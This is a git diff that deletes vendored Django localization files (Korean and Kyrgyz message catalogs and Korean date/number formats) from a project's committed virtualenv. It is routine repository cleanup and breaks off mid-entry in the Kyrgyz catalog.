-"이 메세지가 보이는 이유는 사이트가 폼을 제출할 때 CSRF 쿠키를 필요로 하기 때" -"문입니다. 이 쿠키는 보안상의 이유로 필요하며, 제3자에 의해 당신의 브라우저가 " -"해킹당하고 있지 않다는 것을 보장합니다." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"만약 브라우저 설정에서 쿠키를 비활성화 시켰을 경우, 적어도 이 사이트나 '동일-" -"출처' 요청에 대해서는 활성화 시키십시오." - -msgid "More information is available with DEBUG=True." -msgstr "DEBUG=True 로 더 많은 정보를 확인할 수 있습니다." - -msgid "No year specified" -msgstr "년도가 없습니다." - -msgid "Date out of range" -msgstr "유효 범위 밖의 날짜" - -msgid "No month specified" -msgstr "월이 없습니다." - -msgid "No day specified" -msgstr "날짜가 없습니다." - -msgid "No week specified" -msgstr "주가 없습니다." - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr " %(verbose_name_plural)s를 사용할 수 없습니다." - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Future 모듈 %(verbose_name_plural)s을 사용할 수 없습니다. %(class_name)s." -"allow_future가 False 입니다." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "날짜 문자열 '%(datestr)s'이 표준 형식 '%(format)s'과 다릅니다." - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "쿼리 결과에 %(verbose_name)s가 없습니다." - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "'마지막' 페이지가 아니거나, 정수형으로 변환할 수 없습니다." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Invalid page (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "빈 리스트이고 '%(class_name)s.allow_empty'가 False입니다." - -msgid "Directory indexes are not allowed here." -msgstr "디렉토리 인덱스는 이곳에 사용할 수 없습니다." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "\"%(path)s\" 이/가 존재하지 않습니다." - -#, python-format -msgid "Index of %(directory)s" -msgstr "Index of %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "성공적으로 설치되었습니다! 축하합니다!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Django %(version)s릴리스 노트 보기" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"이 페이지는 어떤 URL도 지정되지 않았고, settings 파일에 DEBUG=True가 설정되어 있을 때 표시됩니" -"다." - -msgid "Django Documentation" -msgstr "Django 문서" - -msgid "Topics, references, & how-to’s" -msgstr "주제, 레퍼런스, & 입문참조하다" - -msgid "Tutorial: A Polling App" -msgstr "튜토리얼: 폴링 애플리케이션" - -msgid "Get started with Django" -msgstr "Django와 함께 시작하기" - -msgid "Django Community" -msgstr "Django 커뮤니티" - -msgid "Connect, get help, or contribute" -msgstr "연결하고, 도움을 받거나 기여하기" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ko/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/ko/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ko/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ko/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index e4fd4acd..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ko/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ko/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ko/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 6e22abdc..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ko/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ko/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/ko/formats.py deleted file mode 100644 index 1a0dffaf..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ko/formats.py +++ /dev/null @@ -1,54 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "Y년 n월 j일" -TIME_FORMAT = "A g:i" -DATETIME_FORMAT = "Y년 n월 j일 g:i A" -YEAR_MONTH_FORMAT = "Y년 n월" -MONTH_DAY_FORMAT = "n월 j일" -SHORT_DATE_FORMAT = "Y-n-j" -SHORT_DATETIME_FORMAT = "Y-n-j H:i" -# FIRST_DAY_OF_WEEK = - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# Kept ISO formats as they are in first position -DATE_INPUT_FORMATS = [ - "%Y-%m-%d", # '2006-10-25' - "%m/%d/%Y", # '10/25/2006' - "%m/%d/%y", # '10/25/06' - # "%b %d %Y", # 'Oct 25 2006' - # "%b %d, %Y", # 'Oct 25, 2006' - # "%d %b %Y", # '25 Oct 2006' - # "%d %b, %Y", #'25 Oct, 2006' - # "%B %d %Y", # 'October 25 2006' - # "%B %d, %Y", #'October 25, 2006' - # "%d %B %Y", # '25 October 2006' - # "%d %B, %Y", # '25 October, 2006' - "%Y년 %m월 %d일", # '2006년 10월 25일', with localized suffix. -] -TIME_INPUT_FORMATS = [ - "%H:%M:%S", # '14:30:59' - "%H:%M:%S.%f", # '14:30:59.000200' - "%H:%M", # '14:30' - "%H시 %M분 %S초", # '14시 30분 59초' - "%H시 %M분", # '14시 30분' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d %H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' - "%m/%d/%Y %H:%M:%S", # '10/25/2006 14:30:59' - "%m/%d/%Y %H:%M:%S.%f", # '10/25/2006 14:30:59.000200' - "%m/%d/%Y %H:%M", # '10/25/2006 14:30' - "%m/%d/%y %H:%M:%S", # '10/25/06 14:30:59' - "%m/%d/%y %H:%M:%S.%f", # '10/25/06 14:30:59.000200' - "%m/%d/%y %H:%M", # '10/25/06 14:30' - "%Y년 %m월 %d일 %H시 %M분 %S초", # '2006년 10월 25일 14시 30분 59초' - "%Y년 %m월 %d일 %H시 %M분", # '2006년 10월 25일 14시 30분' -] - -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ky/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ky/LC_MESSAGES/django.mo deleted file mode 100644 index f99fc908..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ky/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ky/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ky/LC_MESSAGES/django.po deleted file mode 100644 index 391196f7..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ky/LC_MESSAGES/django.po +++ /dev/null @@ -1,1279 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Mariusz Felisiak , 2021 -# Soyuzbek Orozbek uulu , 2020-2021 -# Soyuzbek Orozbek uulu , 2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-11-27 14:11+0000\n" -"Last-Translator: Soyuzbek Orozbek uulu \n" -"Language-Team: Kyrgyz (http://www.transifex.com/django/django/language/ky/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ky\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -msgid "Afrikaans" -msgstr "Африканча" - -msgid "Arabic" -msgstr "Арабча" - -msgid "Algerian Arabic" -msgstr "Алжир арабчасы" - -msgid "Asturian" -msgstr "Австрийче" - -msgid "Azerbaijani" -msgstr "Азерче" - -msgid "Bulgarian" -msgstr "Болгарча" - -msgid "Belarusian" -msgstr "Белорусча" - -msgid "Bengali" -msgstr "Бенгалча" - -msgid "Breton" -msgstr "Бретончо" - -msgid "Bosnian" -msgstr "Босния" - -msgid "Catalan" -msgstr "Каталан" - -msgid "Czech" -msgstr "Чехче" - -msgid "Welsh" -msgstr "Валлий" - -msgid "Danish" -msgstr "Данчийче" - -msgid "German" -msgstr "Немисче" - -msgid "Lower Sorbian" -msgstr "Сорб" - -msgid "Greek" -msgstr "Грекче" - -msgid "English" -msgstr "Англисче" - -msgid "Australian English" -msgstr "Авс. Англисчеси" - -msgid "British English" -msgstr "Бр. Англ." - -msgid "Esperanto" -msgstr "Есперанто" - -msgid "Spanish" -msgstr "Испанча" - -msgid "Argentinian Spanish" -msgstr "Арг. исп" - -msgid "Colombian Spanish" -msgstr "Колумб Испанчасы" - -msgid "Mexican Spanish" -msgstr "Мекс. исп" - -msgid "Nicaraguan Spanish" -msgstr "Никарагуа испанчасы" - -msgid "Venezuelan Spanish" -msgstr "Венесуела Испанчасы" - -msgid "Estonian" -msgstr "Эстон" - -msgid "Basque" -msgstr "Баск" - -msgid "Persian" -msgstr "Персче" - -msgid "Finnish" -msgstr "Финче" - -msgid "French" -msgstr "Французча" - -msgid "Frisian" -msgstr "Фризче" - -msgid "Irish" -msgstr "Ирланча" - -msgid "Scottish Gaelic" -msgstr "Шотланча" - -msgid "Galician" -msgstr "Галицианча" - -msgid "Hebrew" -msgstr "Жөөтчө" - -msgid "Hindi" -msgstr "Хиндче" - -msgid "Croatian" -msgstr "Хорватча" - -msgid "Upper Sorbian" -msgstr "Жогорку Сорбчо" - -msgid "Hungarian" -msgstr "Венгрче" - -msgid "Armenian" -msgstr "Арменче" - -msgid "Interlingua" -msgstr "Эл аралык" - -msgid "Indonesian" -msgstr "Индонезче" - -msgid "Igbo" -msgstr "Игбо" - -msgid "Ido" -msgstr "идо" - -msgid "Icelandic" -msgstr "Исландча" - -msgid "Italian" -msgstr "Итальянча" - -msgid "Japanese" -msgstr "Жапончо" - -msgid "Georgian" -msgstr "Грузинче" - -msgid "Kabyle" -msgstr "Кабилче" - -msgid "Kazakh" -msgstr "Казакча" - -msgid "Khmer" -msgstr "Кхмер" - -msgid "Kannada" -msgstr "Канадча" - -msgid "Korean" -msgstr "Корейче" - -msgid "Kyrgyz" -msgstr "Кыргызча" - -msgid "Luxembourgish" -msgstr "Люкцембургча" - -msgid "Lithuanian" -msgstr "Литвача" - -msgid "Latvian" -msgstr "Латвияча" - -msgid "Macedonian" -msgstr "Македончо" - -msgid "Malayalam" -msgstr "Малаяламча" - -msgid "Mongolian" -msgstr "Монголчо" - -msgid "Marathi" -msgstr "Марати" - -msgid "Malay" -msgstr "Малай" - -msgid "Burmese" -msgstr "Бурмача" - -msgid "Norwegian Bokmål" -msgstr "Норвег Бокмолчо" - -msgid "Nepali" -msgstr "Непалча" - -msgid "Dutch" -msgstr "Голландча" - -msgid "Norwegian Nynorsk" -msgstr "Норвегиялык нюнор" - -msgid "Ossetic" -msgstr "Оссетче" - -msgid "Punjabi" -msgstr "Пенжабча" - -msgid "Polish" -msgstr "Полякча" - -msgid "Portuguese" -msgstr "Португалча" - -msgid "Brazilian Portuguese" -msgstr "Бразилиялык португалчасы" - -msgid "Romanian" -msgstr "Румынча" - -msgid "Russian" -msgstr "Орусча" - -msgid "Slovak" -msgstr "Словакча" - -msgid "Slovenian" -msgstr "Словенияча" - -msgid "Albanian" -msgstr "Албанча" - -msgid "Serbian" -msgstr "Сербче" - -msgid "Serbian Latin" -msgstr "Серб латынчасы" - -msgid "Swedish" -msgstr "Шведче" - -msgid "Swahili" -msgstr "Свахилче" - -msgid "Tamil" -msgstr "Тамиль" - -msgid "Telugu" -msgstr "Телугу" - -msgid "Tajik" -msgstr "Тажикче" - -msgid "Thai" -msgstr "Тайча" - -msgid "Turkmen" -msgstr "Түркмөнчө" - -msgid "Turkish" -msgstr "Түркчө" - -msgid "Tatar" -msgstr "Татарча" - -msgid "Udmurt" -msgstr "Удмурча" - -msgid "Ukrainian" -msgstr "Украинче" - -msgid "Urdu" -msgstr "Урду" - -msgid "Uzbek" -msgstr "Өзбекче" - -msgid "Vietnamese" -msgstr "Вьетнамча" - -msgid "Simplified Chinese" -msgstr "Жеңилдетилген кытайча" - -msgid "Traditional Chinese" -msgstr "салттык кытайча" - -msgid "Messages" -msgstr "Билдирүүлөр" - -msgid "Site Maps" -msgstr "сайт картасы" - -msgid "Static Files" -msgstr "Туруктуу файлдар" - -msgid "Syndication" -msgstr "Синдикат" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "..." - -msgid "That page number is not an integer" -msgstr "Бул барактын номуру сан эмес" - -msgid "That page number is less than 1" -msgstr "Бул барактын номуру 1 ден кичине" - -msgid "That page contains no results" -msgstr "Бул баракта жыйынтык жок" - -msgid "Enter a valid value." -msgstr "Туура маани киргиз" - -msgid "Enter a valid URL." -msgstr "Туура URL киргиз" - -msgid "Enter a valid integer." -msgstr "Туура натурал сан тер." - -msgid "Enter a valid email address." -msgstr "Туура эдарек тер." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"ариптер, цифралар, дефис же астыңкы сызык камтыган туура слаг киргизиңиз." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Юникод символдор, цифралар, астыңкы сызыктар же дефис камтыган туурга слаг " -"киргизиңиз." - -msgid "Enter a valid IPv4 address." -msgstr "Туура IPv4 тер." - -msgid "Enter a valid IPv6 address." -msgstr "Туура IPv6 тер." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Туура IPv4 же IPv6 тер." - -msgid "Enter only digits separated by commas." -msgstr "Жалаң үтүр менен бөлүнгөн сан тер." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Бул маани %(limit_value)s ашпоосун текшериңиз (азыр %(show_value)s)" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "%(limit_value)s карата кичине же барабар маани болгонун текшериңиз" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "%(limit_value)s карата чоң же барабар маани болгонун текшериңиз" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Бул маани жок дегенде %(limit_value)dсимвол камтыганын текшериңиз (азыркысы " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Бул маани эң көп %(limit_value)dсимвол камтыганын текшериңиз (азыркысы " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Сан киргизиңиз." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Жалпысынан %(max)sорундан ашпоосун текшериңиз." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Жалпысынан ондук сандын%(max)s ашпоосун текшериңиз." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Жалпысынан үтүргө чейин%(max)s ашпоосун текшериңиз." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"%(extension)sфайл кеңейтүүсү кабыл алынбайт. Кабыл алынгандар: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Боштук кабыл алынбайт" - -msgid "and" -msgstr "жана" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s бул %(field_labels)s менен мурдатан эле бар" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "%(value)r мааниси туура эмес тандоо." - -msgid "This field cannot be null." -msgstr "Бул аймак жок маани албашы керек" - -msgid "This field cannot be blank." -msgstr "Бул аймак бош калбашы керек" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s бул %(field_label)s менен мурдатан эле бар" - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s %(date_field_label)s %(lookup_type)s үчүн уникал болуусу " -"керек." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "аймактын түрү: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "“%(value)s” мааниси же True же False болуусу керек." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "“%(value)s” мааниси же True же False же None болуусу керек." - -msgid "Boolean (Either True or False)" -msgstr "Булен (Туура же Ката)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Сап (%(max_length)s чейин)" - -msgid "Comma-separated integers" -msgstr "үтүр менен бөлүнгөн сан" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"“%(value)s” мааниси туура эмес форматта. Ал ЖЖЖЖ-АА-КК форматта болуусу " -"керек." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "%(value)sмааниси туура (ЖЖЖЖ-АА-КК) форматта бирок ал күн туура эмес." - -msgid "Date (without time)" -msgstr "Күн (убакытсыз)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"“%(value)s” мааниси туура эмес форматта. Ал ЖЖЖЖ-АА-КК СС:ММ[сс[.дддддд]]" -"[УЗ] форматта болуусу керек." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"“%(value)s” мааниси туура форматта (ЖЖЖЖ-АА-КК СС:ММ[сс[.дддддд]][УЗ] ) " -"бирок ал күн/убакыт туура эмес." - -msgid "Date (with time)" -msgstr "Күн(убакыттуу)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "“%(value)s” мааниси ондук сан болушу керек." - -msgid "Decimal number" -msgstr "ондук сан" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"“%(value)s” мааниси туура эмес форматта. Ал [КК][[CC:]MM:]cc[.дддддд] " -"форматта болуусу керек." - -msgid "Duration" -msgstr "Мөөнөт" - -msgid "Email address" -msgstr "электрондук дарек" - -msgid "File path" -msgstr "файл жайгашуусу" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "“%(value)s” мааниси калкыган чекиттүү болуусу керек." - -msgid "Floating point number" -msgstr "калкыган чекит саны" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "“%(value)s” мааниси натуралдык сан болуусу керек." - -msgid "Integer" -msgstr "Натурал сан" - -msgid "Big (8 byte) integer" -msgstr "Чоң ( 8 байт) натурал сан" - -msgid "Small integer" -msgstr "кичине натурал сан" - -msgid "IPv4 address" -msgstr "IPv4 дареги" - -msgid "IP address" -msgstr "IP дареги" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "“%(value)s” мааниси же None же True же False болуусу керек." - -msgid "Boolean (Either True, False or None)" -msgstr "Булен(Туура же Жалган же Куру)" - -msgid "Positive big integer" -msgstr "Оң чоң натуралдык сан." - -msgid "Positive integer" -msgstr "оң сан" - -msgid "Positive small integer" -msgstr "кичине оң сан" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "слаг ( %(max_length)s чейин)" - -msgid "Text" -msgstr "сап" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"“%(value)s” мааниси туура эмес форматта. Ал СС:ММ[:сс[.ддддддд]] форматта " -"болуусу керек." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"“%(value)s” мааниси туура форматта (СС:ММ[:cc[.дддддд]]) бирок ал убакыт " -"туура эмес." - -msgid "Time" -msgstr "Убакыт" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "жалаң экилик берилиш" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” туура эмес UUID." - -msgid "Universally unique identifier" -msgstr "универсал уникал көрсөтүүчү" - -msgid "File" -msgstr "Файл" - -msgid "Image" -msgstr "Сүрөт" - -msgid "A JSON object" -msgstr "JSON обектиси" - -msgid "Value must be valid JSON." -msgstr "Маани туура JSON болушу керек." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "%(model)s нерсеси %(field)s аймагы %(value)r маани менен табылбады." - -msgid "Foreign Key (type determined by related field)" -msgstr "Бөтөн Ачкыч (байланышкан аймак менен аныкталат)" - -msgid "One-to-one relationship" -msgstr "Бирге-бир байланышы" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s байланышы" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s байланыштары" - -msgid "Many-to-many relationship" -msgstr "көпкө-көп байланышы" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Бул талаа керектүү." - -msgid "Enter a whole number." -msgstr "Толук сан киргиз." - -msgid "Enter a valid date." -msgstr "туура күн киргиз." - -msgid "Enter a valid time." -msgstr "Туура убакыт киргиз." - -msgid "Enter a valid date/time." -msgstr "Туура күн/убакыт киргиз." - -msgid "Enter a valid duration." -msgstr "Туура мөөнөт киргиз." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Күндөрдүн саны {min_days} жана {max_days} арасында болуусу керек." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Файл жиберилген жок. Формдун бекитүү түрүн текшер." - -msgid "No file was submitted." -msgstr "Файл жиберилген жок." - -msgid "The submitted file is empty." -msgstr "Жиберилген файл бош." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Бул файлдын аты эң көп %(max)dсимвол ала алат. (азыркысы %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Сураныч же файл жибериңиз же тандоону бош калтырыңыз. Экөөн тең эмес." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "Туура сүрөт жөнөтүңүз. Сиз жүктөгөн же сүрөт эмес же бузулган сүрөт." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Туура тандоону танда. %(value)s мүмкүн болгон тандоо эмес." - -msgid "Enter a list of values." -msgstr "Туура маанилер тизмесин киргиз." - -msgid "Enter a complete value." -msgstr "Толук маани киргиз." - -msgid "Enter a valid UUID." -msgstr "Туура UUID киргиз." - -msgid "Enter a valid JSON." -msgstr "Туура JSON киргиз." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(жашырылган аймак %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm берилиши жетишпей атат же жасалма болуп атат. Жетишпеген " -"талаалар: %(field_names)s. Эгер көйгөй чечилбей атса сиз баг билдирүү " -"жөнөтсөңүз болот." - -#, python-format -msgid "Please submit at most %d form." -msgid_plural "Please submit at most %d forms." -msgstr[0] "Сураныч, эң көп %d форм жөнөтүңүз." - -#, python-format -msgid "Please submit at least %d form." -msgid_plural "Please submit at least %d forms." -msgstr[0] "Сураныч, эң аз %dформ жөнөтүңүз." - -msgid "Order" -msgstr "Тартип" - -msgid "Delete" -msgstr "Өчүрүү" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "%(field)s үчүн кайталанган маанилерди оңдоңуз." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"%(field)s үчүн кайталанган маанилерди оңдоңуз алар уникал болуусу керек." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"%(field_name)s %(date_field)s да %(lookup)s үчүн уникал болусу керек. " -"Берилиштерди оңдоңуз." - -msgid "Please correct the duplicate values below." -msgstr "Төмөндө кайталанган маанилерди оңдоңуз." - -msgid "The inline value did not match the parent instance." -msgstr "Катардагы маани энелик нерсеге туура келбей жатат." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Туура тандоо кылыңыз. Ал тандоо мүмкүнчүлүктөн сырткары." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr " “%(pk)s”туура эмес маани." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)sкүнү %(current_timezone)sубактысы боюнча чечмелене албай атат. " -"Ал экианжы же жок болушу мүмкүн." - -msgid "Clear" -msgstr "Тазалоо" - -msgid "Currently" -msgstr "Азыркы" - -msgid "Change" -msgstr "өзгөртүү" - -msgid "Unknown" -msgstr "Белгисиз" - -msgid "Yes" -msgstr "Ооба" - -msgid "No" -msgstr "Жок" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "ооба, жок, балким" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)dбит" - -#, python-format -msgid "%s KB" -msgstr "%s КБ" - -#, python-format -msgid "%s MB" -msgstr "%s мегабайт" - -#, python-format -msgid "%s GB" -msgstr "%s гигабайт" - -#, python-format -msgid "%s TB" -msgstr "%s терабайт" - -#, python-format -msgid "%s PB" -msgstr "%s пикабайт" - -msgid "p.m." -msgstr "түштөн кийин" - -msgid "a.m." -msgstr "түшкө чейин" - -msgid "PM" -msgstr "Түштөн кийин" - -msgid "AM" -msgstr "Түшкө чейин" - -msgid "midnight" -msgstr "Түнүчү" - -msgid "noon" -msgstr "ай" - -msgid "Monday" -msgstr "Дүйшөмбү" - -msgid "Tuesday" -msgstr "Шейшемби" - -msgid "Wednesday" -msgstr "Шаршемби" - -msgid "Thursday" -msgstr "Бейшемби" - -msgid "Friday" -msgstr "Жума" - -msgid "Saturday" -msgstr "Ишемби" - -msgid "Sunday" -msgstr "Жекшемби" - -msgid "Mon" -msgstr "Дүйш" - -msgid "Tue" -msgstr "Шей" - -msgid "Wed" -msgstr "Шар" - -msgid "Thu" -msgstr "Бей" - -msgid "Fri" -msgstr "Жума" - -msgid "Sat" -msgstr "Ише" - -msgid "Sun" -msgstr "Жек" - -msgid "January" -msgstr "Январь" - -msgid "February" -msgstr "Февраль" - -msgid "March" -msgstr "Март" - -msgid "April" -msgstr "Апрель" - -msgid "May" -msgstr "Май" - -msgid "June" -msgstr "Июнь" - -msgid "July" -msgstr "Июль" - -msgid "August" -msgstr "Август" - -msgid "September" -msgstr "Сентябрь" - -msgid "October" -msgstr "Октябрь" - -msgid "November" -msgstr "Ноябрь" - -msgid "December" -msgstr "Декабрь" - -msgid "jan" -msgstr "янв" - -msgid "feb" -msgstr "фев" - -msgid "mar" -msgstr "мар" - -msgid "apr" -msgstr "апр" - -msgid "may" -msgstr "май" - -msgid "jun" -msgstr "июн" - -msgid "jul" -msgstr "июл" - -msgid "aug" -msgstr "авг" - -msgid "sep" -msgstr "сен" - -msgid "oct" -msgstr "окт" - -msgid "nov" -msgstr "ноя" - -msgid "dec" -msgstr "дек" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Янв." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Фев." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Март" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Апрель" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Май" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Июнь" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Июль" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Авг." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Сен." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Окт." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Ноя." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Дек." - -msgctxt "alt. month" -msgid "January" -msgstr "Январь" - -msgctxt "alt. month" -msgid "February" -msgstr "Февраль" - -msgctxt "alt. month" -msgid "March" -msgstr "Март" - -msgctxt "alt. month" -msgid "April" -msgstr "Апрель" - -msgctxt 